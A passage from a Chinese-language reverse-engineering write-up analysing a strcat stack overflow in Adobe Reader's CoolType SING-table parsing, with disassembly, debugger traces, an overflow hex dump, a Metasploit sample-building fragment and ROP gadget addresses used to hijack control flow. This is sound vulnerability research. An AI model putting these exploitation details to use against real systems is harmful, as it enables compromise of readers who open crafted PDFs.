  我们可以看到sub_8021B06()函数有三个参数,第一个参数是this指针,其值为PDF中对象10在内存中的首地址,也就是字体对象的指针。第二个参数edi是sub_80DD0B3()函数ebp处的一个类对象的指针,其第一个成员变量的值为dword_823A850被加1前的值(dword_823A850在sub_8024217函数中被加1),也就是0。第三个参数是“SING”字符串,sub_8021B06()函数通过在字体对象中匹配“SING”字符串,来获得“SING”表目录项,从而获得“SING”表数据的地址。所以,我们可以推测sub_8021B06()函数的功能为求出“SING”表数据在内存中的地址。

  我们再来看一下参数edi中的值是什么,虽然其值可能不会影响我们的判断,但是为了从中学到更多的东西,还是来看一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
1、sub_8021B06()参数回溯,edi就是调用sub_8021B06()函数时传入的a1.
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
| | |
↓ ↓ ↓
//value1_823A850变量的地址为ebp=0x0012E718
sub_80151B5(&value1_823A850); // 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
| | |
↓ ↓ ↓
// 返回dword_823A850加1之前的值
value_823A850 = sub_8024217(&stru_823A838, 0);// this传参,_RTL_CRITICAL_SECTION结构体对象
value1_823A850 = value_823A850;
↑ ↑ ↑
| | |
v23 = sub_803DCF9((int)&value1_823A850, &v9, 0, (int)&v22) == 0;
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
↑ ↑ ↑
| | |
sub_8021B06(&v18, a1, "SING");

2、sub_80151B5()函数的内容.
_DWORD *__thiscall sub_80151B5(_DWORD *this)
{
_DWORD *v1; // esi
int v2; // edx v2=0/edx:xor edx,edx

v1 = this;
*this = 0;
this[1] = 0;
this[2] = 0;
this[3] = 0;
this[4] = 0;
sub_801512D(this + 5); // 对象(0x0012E72C)的构造函数
v1[15] = v2;
v1[16] = v2;
*((_BYTE *)v1 + 68) = v2; // v[17]的第一个字节设为0
v1[18] = v2;
v1[19] = v2;
v1[20] = v2;
v1[21] = v2;
v1[22] = v2;
v1[23] = v2;
v1[49] = -1;
*((_BYTE *)v1 + 188) = v2; // v1[47]的第一个字节设为0
v1[48] = v2;
*((_BYTE *)v1 + 200) = v2; // v1[50]的第一个字节设为0
memset(v1 + 24, v2, 92u); // 从第24dword开始,后23个dword设为0
return v1;
}
/*
对象(0x0012E718)的内存布局(初始):
0x0012E718 *this = 0 -|
0x0012E71C this[1] = 0 |
0x0012E720 this[2] = 0 | {sub_80151B5}
0x0012E724 this[3] = 0 |
0x0012E728 this[4] = 0 -|

0x0012E72C *this = 0 -------------------| 0x0012E72C-0x0012E750,应该也是一个对象
0x0012E730 0x049517D8 | [0x049517D8]=0x08190108,const BIB_T_MT::BIBVTabGeneric::`vftable'
0x0012E734 this[2] = 0 -----------------|
0x0012E738 this[3] = 0 -----------------| {sub_801512D}
0x0012E73C | 0012E73C 01E79BA0 ASCII "BIBDataStoreGetBlockProcV2"
0x0012E740 this[5] = 0 -----------------|
0x0012E744 this[6] = 0 -----------------|
0x0012E748 this[7] = 0 -----------------|
0x0012E74C this[8] = sub_80833EF -------|
0x0012E750 result[9] = result = this ---| 0x0012E72C

0x0012E754 v1[15] = v2 = 0 ----------------|
0x0012E758 v1[16] = v2 = 0 ----------------|
0x0012E75C *((_BYTE *)v1 + 68) = v2 = 0; --| 0012E75C 0804AA00 返回到 CoolType.0804AA00
0x0012E760 v1[18] = v2 = 0 ----------------|
0x0012E764 v1[19] = v2 = 0 ----------------| {sub_80151B5}
0x0012E768 v1[20] = v2 = 0 ----------------|
0x0012E76C v1[21] = v2 = 0 ----------------|
0x0012E770 v1[22] = v2 = 0 ----------------|
0x0012E774 v1[23] = v2 = 0 ----------------|
0x0012E778 - 0x0012E7D4 v1[24]~v1[46] = v2 = 0 --| memset(v1 + 24, v2, 92u);
0x0012E7D4 *((_BYTE *)v1 + 188) = v2 = 0 --------| 0012E7D4 02A93200
0x0012E7D8 v1[48] = v2 = 0 ----------------------| {sub_80151B5}
0x0012E7DC | 0012E7DC FFFFFFFF
0x0012E7E0 *((_BYTE *)v1 + 200) = v2 = 0 --------| 0012E7E0 02A93200
*/

3、sub_8024217()函数的内容.
value_823A850 = sub_8024217(&stru_823A838, 0);

.data:0823A838 stru_823A838 _RTL_CRITICAL_SECTION <?>
.data:0823A838 ; DATA XREF: sub_80252EC+104↑o
.data:0823A838 ; sub_809C3A4+1B9↑o ...
.data:0823A850 dword_823A850 dd ? ; DATA XREF: sub_818DB2A+B↑w
.data:0823A854 align 8

struct RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
};大小为4*6 = 24 = 0x18h字节

_RTL_CRITICAL_SECTION_DEBUG *__thiscall sub_8024217(LPCRITICAL_SECTION lpCriticalSection, int a2)
{
int lpCriticalSection1; // esi
int v3; // edi

lpCriticalSection1 = (int)lpCriticalSection;
EnterCriticalSection(lpCriticalSection); // 进入临界区
v3 = *(_DWORD *)(lpCriticalSection1 + 24); // v3为全局变量dword_823A850的值,其初始值为0.
*(_DWORD *)(lpCriticalSection1 + 24) = v3 + 1;// dword_823A850=dword_823A850+1=1
LeaveCriticalSection((LPCRITICAL_SECTION)lpCriticalSection1);
return v3; // 返回加1之前的值
}

  thiscallC++中特有的调用约定,用于成员函数的调用。根据上面给出的sub_80151B5()函数的伪代码,可以看出此函数返回了this指针,并且此函数也是sub_80DD0B3()函数中定义的对象(0x0012E718)在作用域内调用的第一个成员函数,sub_80151B5()函数中使用this指针对其成员变量赋初值。这些都是一个构造函数拥有的特征。
  通过上面的分析,我们可以知道sub_8021B06()第二个参数a1为对象(0x0012E718)的指针,其第一个成员变量的值为0。

2.2、strcat()函数溢出分析

  通过上面的静态分析,我们可以知道程序执行完sub_8021B06()函数后,得到了SING表数据的地址。首先程序对SING表数据的“tableVersionMajor”字段和“tableVersionMinor”字段进行了判断,满足条件后,才会执行strcat()函数,将构造的“uniqueName”字段内容复制到上。

1
2
3
4
5
6
7
8
9
10
.text:0803DD82      mov     eax, [ebp+108h+var_12C] ; eax指向SING表数据,eax=[ebp-0x24]=[0x0012E4B4]=0x04960104
.text:0803DD85 cmp eax, esi ; 判断是否为空,esi为0
.text:0803DD85
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0

  这里有两种情况都满足要求,第一种,以小端序读出的版本号形如:0x????0000。也就是SING表的“tableVersionMajor”字段为0,“tableVersionMinor”字段没有要求,版本号为0.x第二种,以小端序读出的版本号形如:0x????0100。也就是SING表的“tableVersionMajor”字段为1,“tableVersionMinor”字段没有要求,版本号为1.x。样本中使用的是第一种

样本生成脚本中关于这部分的构造如下:

1
2
3
4
5
6
7
8
9
10
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv') # 把两个字符当作 little-endian 字节顺序的无符号的 short。

  接下来,我们分析“uniqueName”字段复制到栈上的位置,以及长度

  • 1、打开Adobe Reader,再打开OllyDbg,attach上Adobe Reader进程。
  • 2、在0x0803DD9F下断点,运行程序。
  • 3、观察传入的参数值,及其内存状态
1
2
3
4
5
6
7
eax = 0x04960104(SING表数据入口地址)
0803DD9F 83C0 10 add eax,0x10 ; eax = eax+0x10 = 0x04960104+0x10 = 0x04960114(“uniqueName”字段起始地址)
0803DDA2 50 push eax ; strcat源地址入栈,也就是uniqueName起始地址
0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] ; eax = ebp = 0x0012E4D8
0803DDA6 50 push eax ; strcat目的地址入栈
0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 ; 将目标字符串赋值为NULL,空字符串
0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> ; 调用strcat函数,造成溢出

复制到栈上的数据长度:0x0012E718 - 0x0012E4D8 = 0x240

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0012E4D8  F1 B9 F1 F4 75 62 82 1D 14 A7 82 4A 0C 0C 0C 0C  窆耵ub?J....
0012E4E8 AC 86 F7 B5 ED 50 17 29 5C 12 8D 01 4E 51 05 0E 瑔鞯鞵)\?NQ
0012E4F8 E7 CC BC CA 6B 02 ED 81 13 36 AD 5E 45 85 DC 7D 缣际k韥6璣E呠}
0012E508 DB C2 4B 84 E8 67 8A 92 74 90 C8 3D 03 65 FE 80 勐K勮g姃t惾=e
0012E518 4E E7 C7 42 89 8B DA 08 91 71 7A 3D 83 8E BD 60 N缜B墜?憅z=儙絗
0012E528 AB 8F FA 53 8E F2 15 70 D8 66 BB A0 24 09 05 CD 珡鶶庲p豧粻$.
0012E538 E6 10 AE B9 B2 E0 B8 40 91 36 FC 66 8B 7B BE C2 ?侧窣?黤媨韭
0012E548 65 24 37 DA 2B 2C FC FA 04 89 92 95 B5 3A 22 FE e$7?,墥暤:"
0012E558 44 BA 47 90 BD 17 78 9A 86 A8 CC 2A B1 0B FA 8F D篏惤x殕ㄌ*?鷱
0012E568 54 C7 4B 6D BF 1A 47 1D 33 0D 72 DC D3 8E 1E FC T荎m?G3.r苡?
0012E578 7E 2D 41 FE B2 7D 0C 3A 1A BE 1D F7 DC 35 59 BD ~-A}.:?鬈5Y
0012E588 5A C3 06 67 E3 6F FC D5 49 3B 3E 1B 4D FC 6E 8C Z?g鉶I;>M黱
0012E598 5D E4 7B BA 86 8C AC A7 11 F3 B2 43 A1 0B 04 B4 ]鋥簡尙?蟛C?
0012E5A8 30 71 3F A9 3A CC CF E0 B3 15 35 39 BC F9 6F 9C 0q??滔喑59践o
0012E5B8 E4 0C 84 72 70 90 64 0A 53 E3 A4 65 BB C6 19 85 ?剅p恉.S悚e黄
0012E5C8 BA 6D 04 8D BE EF 3A 1F 4C 0D FD E0 29 BD FC 77 簃嵕?L.)近w
0012E5D8 CD F3 41 98 0D AD D7 3B 92 48 A6 BB B7 8C C9 F5 腕A?;扝穼甚
0012E5E8 71 7A 72 69 54 32 60 80 8D 9C 16 24 81 B8 C0 32 qzriT2`€崪$伕?
0012E5F8 2D 44 17 5A 06 6D 75 0F 77 9E CF 67 F4 23 2C 2B -DZmuw炏g?,+
0012E608 C6 08 8A 4A E2 2F 63 30 39 85 30 38 40 55 FA 3B ?奐?c09?8@U?
0012E618 DB DD 44 05 9D BE 81 73 DD F3 CA 9A 4D 02 F0 EF 圯D澗乻蒹蕷M痫
0012E628 05 A9 10 F7 05 69 C6 B4 DF 84 4A 6D 3C 85 6E D9 ??i拼邉Jm<卬
0012E638 3A 29 D3 E4 44 95 96 E3 C0 3E 0F FA 45 5E D1 40 :)愉D晼憷>鶨^袬
0012E648 DB BB AB 23 BA FF 42 8D 8A 05 D1 84 8A AE E5 5B 刍??B崐褎姰錥
0012E658 F1 E7 94 85 95 20 E5 41 6B 95 CD 72 6D 8B EE D6 耒攨?錋k曂rm嬵
0012E668 19 8C BF FB BC 64 17 7F E7 A4 70 F7 94 E3 A7 3B 尶d绀p鲾悃;
0012E678 5B 69 A1 F4 7F 20 11 02 58 4F 24 FD 38 70 A3 97 [i◆ XO$?p
0012E688 62 2C FA 58 E6 C2 D6 B5 04 80 EC 82 FC 05 80 D1 b,鶻媛值€靷?€
0012E698 93 0B CB 63 38 F7 B9 90 F0 8B D3 F8 91 96 7A C7 ?薱8鞴愷嬘鴳杬
0012E6A8 37 24 37 4E 99 84 6C 40 DF 84 A2 97 17 7B 6F 59 7$7N檮l@邉{oY
0012E6B8 51 51 9C 7A 50 DA 1B 08 7E ED 73 8B D9 B9 53 9B QQ渮P?~韘嬞筍
0012E6C8 29 59 F1 FD A6 38 DF 49 38 CB 80 4A E3 A6 2C CA )Y颀?逫8藔J悝,
0012E6D8 2B 0C 6B E0 A5 48 43 D2 F3 77 1C 91 82 C7 40 59 +.k啷HC殷w憘茾Y
0012E6E8 5F 6C C6 02 59 D4 BA AE 32 F9 41 9A FF 07 28 4D _l?Y院?鵄?(M
0012E6F8 28 73 33 DA D4 69 D1 F3 E6 85 2B D1 76 90 FF 6C (s3谠i洋鎱+裿?l
0012E708 28 F3 A4 34 AB 2F 57 AE 1B C7 A5 1D 6C 00 00 00 (螭4?W?钎l...

0012E718 00 00 00 00 6D 00 00 00 01 00 00 00 01 00 00 00 ....m.........
0012E728 00 00 00 00 F8 B1 13 02 A0 38 96 04 EC 26 00 00 ....???..

2.3、触发过程

  我们从metasploit的漏洞利用代码中可以知道SING表的数据主要是构造了一个ROP链,用于控制EIP最终跳转到堆喷的真正的用于绕过DEPROP Chain处。从代码注释中可知,第一个ROPgadget位于icucnv36.dll中的0x4A80CB38处,第二个ROPgadget位于icucnv36.dll中的0x4A82A714处。这部分后面会介绍,为什么选用这两个地址呢?因为在Adobe Reader各个版本上,这个dll的这两处地址是始终不变的,从而保证了exploit对于各版本的兼容性稳定性

  • 1、打开Adobe Reader,再打开OllyDbg,attach上Adobe Reader进程。
  • 2、在0x4A80CB38下断点,运行程序。
  • 3、当运行到0x4A80CB38地址处时,我们查看栈,看到返回地址为0x0808B30A,可以知道调用者的位置就在其上一条指令处,0x0808B308处的call dword ptr [eax]指令。
  • 4、我们再对这段ROPgadget的调用地址0x0808B308下断点,并且通过ollydbg的反汇编窗口找到此调用者函数的父函数sub_808B116(),再下断点0x0808B116
  • 5、我们再在堆栈窗口中寻找sub_808B116()返回地址,查看其返回地址是否在调用strcat()函数父函数sub_803DCF9()的地址范围中,若是,栈回溯结束。如不是,继续向下寻找。

  也许有些返回地址堆栈窗口中只是显示为返回到 CoolType.xxxxxxxx,并没显示是哪个函数的返回地址。这是因为这个返回地址所属的函数的地址是存放在内存中的某个位置或在寄存器中,指令格式call r/m32。通常函数调用使用的是指令格式为call rel32,其操作数为函数地址相对当前调用指令下一条指令地址的偏移,以补码表示。

程序控制流劫持过程分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
********************************************************************

char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)

********************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; __EH_prolog3_catch函数中分配栈空间大小
.text:0803DD13 mov eax, offset loc_8184A54 ; __security_check_cookie函数地址
.text:0803DD18 call __EH_prolog3_catch ; 向栈上写入SEH结构
.text:0803DD1D mov eax, [ebp+108h+arg_C] ; eax=[0x0012E4D8+0x11c]=[0x0012E5F4]=0x0012E700,eax = a4
.text:0803DD23 mov edi, [ebp+108h+arg_0] ; edi=[0x0012E4D8+0x110]=[0x0012E5E8]=0x0012E718,edi = a1 <------对象(0x0012E718)的指针
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; ebx=[0x0012E4D8+0x114]=[0x0012E5EC]=0x0012E608,ebx = a2 对象(0x0012E608)的指针
........
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出
.text:0803DDB0 pop ecx
.text:0803DDB1 pop ecx
.text:0803DDB2 lea eax, [ebp+108h+uniqueName_buf] ; eax=0x0012E4D8,为uniqueName缓冲区地址
.text:0803DDB5 push eax
.text:0803DDB6 mov ecx, ebx ; ecx=ebx=0x0012E608,对象(0x0012E608)的指针,第一个成员变量原来是0,可以直接跳过sub_8001243()的一段代码,但是我们构造的uniqueName不能将这里构造为0x0,会造成截断,其内容+0x1c必须为一个可访问的地址,使得程序可以顺利执行通过第一个成员变量为0时跳过的那段代码。
.text:0803DDB8 call sub_8001243
.text:0803DDBD mov eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DDC0
.text:0803DDC0 loc_803DDC0:
.text:0803DDC0 mov [ebp+108h+var_119], 1
.text:0803DDC4
.text:0803DDC4 loc_803DDC4:
.text:0803DDC4 cmp eax, esi
.text:0803DDC6 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DDCA jz short loc_803DDD3
.text:0803DDCC push eax
.text:0803DDCD call sub_80418BF
.text:0803DDD2 pop ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3:
.text:0803DDD3 cmp [ebp+108h+var_119], 0
.text:0803DDD7 jnz loc_803DEA9
......
.text:0803DEA9 loc_803DEA9:
.text:0803DEA9
.text:0803DEA9 lea eax, [ebp+108h+var_124] ; eax=ebp-0x1c=0x0012E4BC, ebp=0x0012E4D8
.text:0803DEAC push eax ; arg3: eax=0x0012E4BC
.text:0803DEAD push ebx ; arg2: ebx=0x0012E608 对象(0x0012E608)的指针
.text:0803DEAE push edi ; arg1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0803DEAF call sub_8016BDE
| | |
↓ ↓ ↓
********************************************************************

char __cdecl sub_8016BDE(int a1, int a2, int a3)

********************************************************************
.text:08016BDE push ebp ; ebp=0x0012E4D8
.text:08016BDF sub esp, 660h ; esp=esp-0x660=0x0012DDFC,之前esp=0x0012E45C
.text:08016BE5 lea ebp, [esp-4] ; ebp=esp-4=0x0012DDF8
.text:08016BE9 mov eax, ___security_cookie
.text:08016BEE xor eax, ebp
.text:08016BF0 mov [ebp+664h+var_4], eax
.text:08016BF6 push 50h
.text:08016BF8 mov eax, offset loc_8175D32
.text:08016BFD call __EH_prolog3_catch
.text:08016C02 mov eax, [ebp+664h+arg_8] ; eax=[ebp+0x674]=[0x0012E46C]=0x0012E4BC, eax=a3
.text:08016C08 mov esi, [ebp+664h+arg_4] ; esi=[ebp+0x670]=[0x0012E468]=0x0012E608, esi=a2,对象(0x0012E608)的指针
.text:08016C0E mov edi, [ebp+664h+arg_0] ; edi=[ebp+0x66c]=[0x0012E464]=0x0012E718,ebp=0x0012DDF8 <------ edi = a1,对象(0x0012E718)的指针
.text:08016C14 mov [ebp+664h+var_6BC], eax
.text:08016C17 mov eax, offset CriticalSection ; eax=0x0823A650,_RTL_CRITICAL_SECTION结构体对象指针
.text:08016C1C push eax ; lpCriticalSection
.text:08016C1D mov [ebp+664h+var_680], esi
.text:08016C20 mov [ebp+664h+var_6C0], eax
.text:08016C23 call ds:EnterCriticalSection ; 执行完 eax=0
.text:08016C29 xor ebx, ebx ; ebx=0
.text:08016C2B push edi
.text:08016C2C mov [ebp+664h+var_668], ebx
.text:08016C2F mov [ebp+664h+var_694], ebx
.text:08016C32 mov [ebp+664h+var_678], ebx
.text:08016C35 call sub_801BB1C ; 执行完 eax=0x01F347B8,为StreamHandler类对象,内存第一个双字为虚表指针,0x081A601C
.text:08016C3A cmp eax, ebx
.text:08016C3C pop ecx
.text:08016C3D mov [ebp+664h+var_67C], eax ; eax=0x01F347B8,为StreamHandler类对象
.text:08016C40 jz loc_80172CE ; 不跳转
.text:08016C46 push 1 ; arg7: 1
.text:08016C48 push ebx ; arg6: 0x00000000
.text:08016C49 push ebx ; arg5: 0x00000000
.text:08016C4A lea eax, [ebp+664h+var_678] ; eax=[ebp-0x14]=0x0012DDE4,ebp=0x0012DDF8
.text:08016C4D push eax ; arg4: eax=0x0012DDE4
.text:08016C4E lea eax, [ebp+664h+var_694] ; eax=[ebp-0x30]=0x0012DDC8,ebp=0x0012DDF8
.text:08016C51 push eax ; arg3: eax=0x0012DDC8
.text:08016C52 push edi ; arg2<-a1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:08016C53 push [ebp+664h+var_67C] ; arg1: [ebp-0x18]=[0x0012DDE0]=0x01F347B8
.text:08016C56 call sub_801BB21
esp --> 0012DD6C 08016C5B ; 返回到 CoolType.08016C5B 来自 CoolType.0801BB21
0012DD70 01F347B8 ; arg1: StreamHandler类对象地址
0012DD74 0012E718 ; arg2: 对象(0x0012E718)的指针
0012DD78 0012DDC8 ; arg3
0012DD7C 0012DDE4 ; arg4
0012DD80 00000000 ; arg5
0012DD84 00000000 ; arg6
0012DD88 00000001 ; arg7
StreamHandler类对象内存:
;01F347B8 1C 60 1A 08 6D 00 00 00 00 00 00 00 84 90 13 02 `m.......剱
;01F347C8 00 00 00 00 00 00 00 00 6D 00 00 00 01 00 00 00 ........m......
;01F347D8 01 00 00 00 00 00 00 00 00 00 00 00 50 A6 23 08 ...........P?
;01F347E8 00 00 00 00 00 00 00 00 1C 01 00 00 00 00 00 00 ..............
;01F347F8 00 00 00 00 00 00 00 00 EF 33 08 08 E0 47 F3 01 ........?郍?
;01F34808 00 48 F3 01 00 00 00 00 00 00 00 00 00 00 00 00 .H?............
| | |
↓ ↓ ↓
*****************************************************************************************************************************

功能: 找到虚函数地址并调用
int __cdecl sub_801BB21(int (__stdcall ***a1)(int, int, int, int, int, int), int a2, int a3, int a4, int a5, int a6, int a7)

*****************************************************************************************************************************
.text:0801BB21 push ebp ; ebp=0x0012DDF8
.text:0801BB22 mov ebp, esp ; ebp=esp=0x0012DD68
.text:0801BB24 push [ebp+arg_18] ; arg6<-a7: [ebp+0x20]=[0x0012DD88]=0x01
.text:0801BB27 mov ecx, [ebp+arg_0] ; this<-a1: ecx=[ebp+0x8]=[0x0012DD670]=0x01F347B8(StreamHandler类对象地址)
.text:0801BB2A push [ebp+arg_14] ; arg5<-a6: [ebp+0x1c]=[0x0012DD84]=0x00000000
.text:0801BB2D mov eax, [ecx] ; eax=[ecx]=[0x01F347B8]=0x081A601C(虚表指针)
.text:0801BB2F push [ebp+arg_10] ; arg4<-a5: [ebp+0x18]=[0x0012DD80]=0x00000000
.text:0801BB32 inc dword_823A6A0 ; [0x0823A6A0]=0x0->0x1
.text:0801BB38 push [ebp+arg_C] ; arg3<-a4: [ebp+0x14]=[0x0012DD7C]=0x0012DDE4
.text:0801BB3B push [ebp+arg_8] ; arg2<-a3: [ebp+0x10]=[0x0012DD78]=0x0012DDC8
.text:0801BB3E push [ebp+arg_4] ; arg1<-a2: [ebp+0xC]=[0x0012DD74]=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0801BB41 call dword ptr [eax] ; [eax]=0x808B116(StreamHandler类虚函数)
esp --> 0012DD4C 0801BB43 返回到 CoolType.0801BB43
0012DD50 0012E718 arg1 对象(0x0012E718)的指针
0012DD54 0012DDC8 arg2
0012DD58 0012DDE4 arg3
0012DD5C 00000000 arg4
0012DD60 00000000 arg5
0012DD64 00000001 arg6
ebp --> 0012DD68 0012DDF8
| | |
↓ ↓ ↓
****************************************************************************************************************************

.rdata:081A601C ; const StreamHandler::`vftable'
.rdata:081A601C ??_7StreamHandler@@6B@ dd offset sub_808B116

StreamHandler类虚函数:
char __thiscall sub_808B116(char *this, int a2, int *a3, _DWORD *a4, _DWORD *a5, unsigned int *a6, int a7)

****************************************************************************************************************************
.text:0808B116 push ebp ; [0x0012DD48]=ebp=0x0012DD68
.text:0808B117 mov ebp, esp ; ebp=esp=0x0012DD48
.text:0808B119 push ecx ; arg_5: [0x0012DD44]=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B11A push ebx ; arg_4: [0x0012DD40]=ebx=0x00000000
.text:0808B11B push esi ; arg_3: [0x0012DD3C]=esi=0x0012E608 对象(0x0012E608)的指针
.text:0808B11C push edi ; arg_2: [0x0012DD38]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B11D mov edi, [ebp+arg_0] ; edi=[ebp+0x8]=[0x0012DD50]=0x0012E718 <------ edi = a2
.text:0808B120 push edi ; arg_1: [0x0012DD34]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B121 mov esi, ecx ; esi=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B123 call sub_808B02A ;
.text:0808B128 xor ebx, ebx
.text:0808B12A test al, al
.text:0808B12C jz loc_808B2CB
..........
.text:0808B2CB mov eax, [esi]
.text:0808B2CD mov byte ptr [ebp+arg_14+3], bl
.text:0808B2D0 call dword ptr [eax+70h]
.text:0808B2D3 push edi
.text:0808B2D4 lea ecx, [esi+14h]
.text:0808B2D7 call sub_801E540
.text:0808B2DC mov byte ptr [esi+0E0h], 1
.text:0808B2E3 mov eax, [edi+3Ch] <-------eax=[edi+3Ch]=[0x0012E718+0x3C]=[0x0012E754]=0x0012E6D0(对象0x0012E6B0中的一个函数指针)
.text:0808B2E6 cmp eax, ebx
.text:0808B2E8 mov [esi+2F4h], eax
.text:0808B2EE mov [esi+2F8h], ebx
.text:0808B2F4 mov [ebp+var_4], ebx
.text:0808B2F7 jnz short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:
.text:0808B2F9 xor al, al
.text:0808B2FB jmp loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300:
.text:0808B300 lea ecx, [ebp+var_4]
.text:0808B303 push ecx ; [0x0012DD34]=ecx=0x0012DD44
.text:0808B304 push ebx ; [0x0012DD30]=ebx=0x0
.text:0808B305 push 3 ; [0x0012DD2C]=0x3
.text:0808B307 push eax ; [0x0012DD28]=eax=0x0012E6D0
.text:0808B308 call dword ptr [eax] ; eax=0x0012E6D0,[0x0012E6D0]=0x4A80CB38 <------- ROPgadget1
(*v20)(v20, 3, 0, &v31);

触发流程图:

触发流程

  这里不知道为什么不能用ollydbg的调用堆栈窗口查看栈回溯,在调用sub_808B116()函数时,栈回溯窗口清空了,执行完sub_808B116()函数中的0x0808B308处的调用指令call dword ptr [eax],跳转到0x4A80CB38处时,调用堆栈信息又显示出来了,而且此ROPgadget的调用者也发生了改变。下面显示0x4A80CB38处的ROPgadget的调用是来自CoolType.0801BB41,而这个地址在sub_801BB21()函数的地址范围中,并且是调用sub_808B116()函数的指令的地址。实际情况确是sub_808B116()函数调用的0x4A80CB38处的ROPgadget。是因为sub_808B116()函数是虚函数吗?没搞清楚。

1
2
3
4
5
6
7
8
9
--> 4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn

;调用堆栈: 主线程
;地址 堆栈 函数过程 / 参数 调用来自 结构
;0012DD4C 0801BB43 icucnv36.4A80CB38 CoolType.0801BB41 0012DD48
;0012DD6C 08016C5B ? CoolType.0801BB21 CoolType.08016C56 0012DD68
;0012E460 0803DEB4 ? CoolType.08016BDE CoolType.0803DEAF 0012DDF8
2.4、触发原因

  通过前面的分析我们可以知道,地址0x0808B308处的调用指令是通过以eax的值为地址,得到存储在地址处的值,作为所调用函数的地址,进行函数调用的。eax=0x0012E6D0,所以函数的地址值存储在上,而且刚好落在我们构造的“uniqueName”字段在栈上的缓冲区内,所以我们可以覆盖这个函数的地址值,达到劫持程序控制流的目的。而我们往上回溯,eax的值是以edi+0x3C为地址的变量的值。edi的值为0x0012E718,正是前面通过sub_80DD0B3()函数调用sub_080151B5()函数清零的栈空间的首地址,也是sub_80DD0B3()函数的ebp。在执行sub_80DD0B3()函数之前,edi+0x3C=0x0012E754处的值为0xFFFFFFFF,而在调用0x080DD2F3处的sub_803DCF9()函数时,已经被赋值为了0x0012E6D0。说明赋值的语句在调用sub_803DCF9()函数之前。这里分析的目的主要是看是否覆盖了特殊结构的指针,而达到了程序控制流的劫持。比如,是否覆盖了SEH异常处理结构,又或者是覆盖了虚表指针和虚表中的虚函数地址。首先在IDA中看一下,是哪里赋的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
{
......
int v10; // [esp+B8h] [ebp-68h],[0x0012E718-0x68]=[0x0012E6B0]
char v11; // [esp+D8h] [ebp-48h],[0x0012E718-0x48]=[0x0012E6D0]存储函数地址的变量(函数指针)
......
char v31; // [esp+134h] [ebp+14h],[0x0012E718+0x14]=[0x0012E72C]
